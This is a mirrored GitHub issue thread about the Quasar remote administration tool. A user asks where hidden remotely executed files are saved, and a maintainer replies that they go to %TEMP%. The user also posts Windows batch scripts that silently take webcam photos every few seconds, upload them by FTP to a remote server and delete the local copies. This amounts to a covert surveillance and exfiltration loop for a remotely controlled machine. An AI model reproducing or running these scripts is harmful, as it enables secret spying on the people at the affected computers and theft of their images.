mirror of
https://github.com/quasar/Quasar.git
synced 2026-04-25 23:35:58 +03:00
[GH-ISSUE #397] Where is remote execute downloaded in? #191
Labels
No labels
bug
bug
cant-reproduce
discussion
duplicate
easy
enhancement
help wanted
improvement
invalid
need more info
pull-request
question
wont-add
No milestone
No project
No assignees
1 participant
Notifications
Due date
No due date set.
Dependencies
No dependencies set.
Reference
starred/Quasar#191
Loading…
Add table
Add a link
Reference in a new issue
No description provided.
Delete branch "%!s()"
Deleting a branch is permanent. Although the deleted branch may continue to exist for a short time before it actually gets removed, it CANNOT be undone in most cases. Continue?
Originally created by @webiummedia on GitHub (Sep 17, 2015).
Original GitHub issue: https://github.com/quasar/Quasar/issues/397
I just used the remote execute file to download and execute a exe in hidden mode. Where's the file located at? I need to move it via command line.
@webiummedia commented on GitHub (Sep 17, 2015):
Would be nice if we could specify the directory to download in ...
@webiummedia commented on GitHub (Sep 17, 2015):
Actually, i just noticed we can drag and drop in the file manager lol
Take a look at this: https://github.com/tedburke/CommandCam
Works great. you just type commandcam in the folder the exe is in and it creates a webcam image
@webiummedia commented on GitHub (Sep 17, 2015):
Something like this and we get an image every few seconds =)
@echo off
:begin
C:\CommandCam.exe /delay 5000 /filename C:%time:
-11,2%%time:-8,2%%time:~-5,2%.bmpgoto begin
@webiummedia commented on GitHub (Sep 17, 2015):
FTP the image to remote server like this then delete the file
@echo off
:begin
set FileName=Build-%date%-%time:~0,2%-%time:~3,2%-%time:~6,2%
C:\CommandCam.exe /delay 50000 /filename C:%FileName%.bmp
echo user **> ftpcmd.dat
echo **>> ftpcmd.dat
echo bin>> ftpcmd.dat
echo put C:%FileName%.bmp>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat x.x.x.x
del ftpcmd.dat
DEL C:%FileName%.bmp
goto begin
@webiummedia commented on GitHub (Sep 17, 2015):
Then for those intrested, you can use something like http://sourceforge.net/projects/phpmotiondetect/ to sort out the images and keep only those that are not similar (motion detect)
@MaxXor commented on GitHub (Sep 17, 2015):
@webiummedia Downloaded files are located in
%TEMP%.